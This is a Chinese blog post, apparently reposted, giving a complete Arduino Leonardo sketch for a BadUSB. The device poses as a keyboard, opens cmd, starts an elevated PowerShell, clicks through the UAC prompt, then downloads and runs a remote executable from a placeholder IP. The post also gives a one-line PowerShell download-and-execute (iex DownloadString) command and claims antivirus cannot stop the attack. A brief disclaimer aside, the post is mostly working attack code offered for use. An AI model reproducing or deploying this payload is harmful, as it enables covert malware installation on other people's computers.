• [Arduino]利用Arduino Leonardo开发板制作BadUSB,劫持键盘...嘿嘿嘿


    BadUSB其实原理就是用开发板模拟键盘,然后键入各种命令

    具体的原理,可以移步腾讯安全应急响应中心 https://security.tencent.com/index.php/blog/msg/74

    我手里刚好有一个自带USB接口的Arduino Leonardo开发板(只要是支持Keyboard的板子应该都可以),所以就拿来试试

    我根据上面的原理,通过模拟win+R 启动CMD

    然后在cmd中,以管理员身份启动PowerShell

    使用PowerShell下载后门程序及运行

    因为BadUSB利用的是USB端口在设计时就有的缺陷,所以整个感染过程,基本没有杀毒软件能够主动防御

    杀毒软件能拦截的只有后门程序,但是对BadUSB它也是无可奈何的

    下面就直接贴代码了

    #include <Keyboard.h>
    void setup() {
      // put your setup code here, to run once:
      Keyboard.begin();
      delay(1000);
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      delay(500);
      Keyboard.press(KEY_LEFT_GUI);
      delay(500);
      Keyboard.press('r');
      delay(500);
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      delay(500);
      Keyboard.println("cmd");
      delay(500);
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(500);
      Keyboard.println("powershell.exe -command start-process powershell -verb runAs && exit");
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(1000);
      Keyboard.press(KEY_LEFT_ARROW);
      Keyboard.release(KEY_LEFT_ARROW);
      delay(500);
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(5000);
      Keyboard.println("$P = new-object system.net.webclient");
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(500);
      Keyboard.println("$P.downloadfile('HTTP://xxx.xxx.xxx.xxx/111.EXE','111.EXE');start-process 111.EXE;exit");
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();
    }
    
    void loop() {
      // put your main code here, to run repeatedly:
    
    }

    程序当中的延时是很有必要的,如果是电脑反应慢,还没打开,BadUSB就进行了输入,那么CMD肯定无法接收到输入的命令

    尤其是begin时的延迟,建议调大。

    当然也可以执行远程PSL脚本,命令如下

    powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://url')"

    至于更多玩法。。。大家自己脑补吧

    本文可能存在攻击性,请勿用于非法用途。个人兴趣研究完全没问题,一切责任与本人无关,如有不足的地方希望指点,谢谢。

  • 相关阅读:
    程序测试与调试
    运行及总结
    《人,绩效和职业道德》及博客读后感
    图书馆管理系统程序设计
    设计类图
    图书馆管理系统程序测试计划
    图书馆管理系统UML建模
    团队分工
    竞争性需求分析
    实践作业三 结对项目
  • 原文地址:https://www.cnblogs.com/lee-li/p/9080160.html
Copyright © 2020-2023  润新知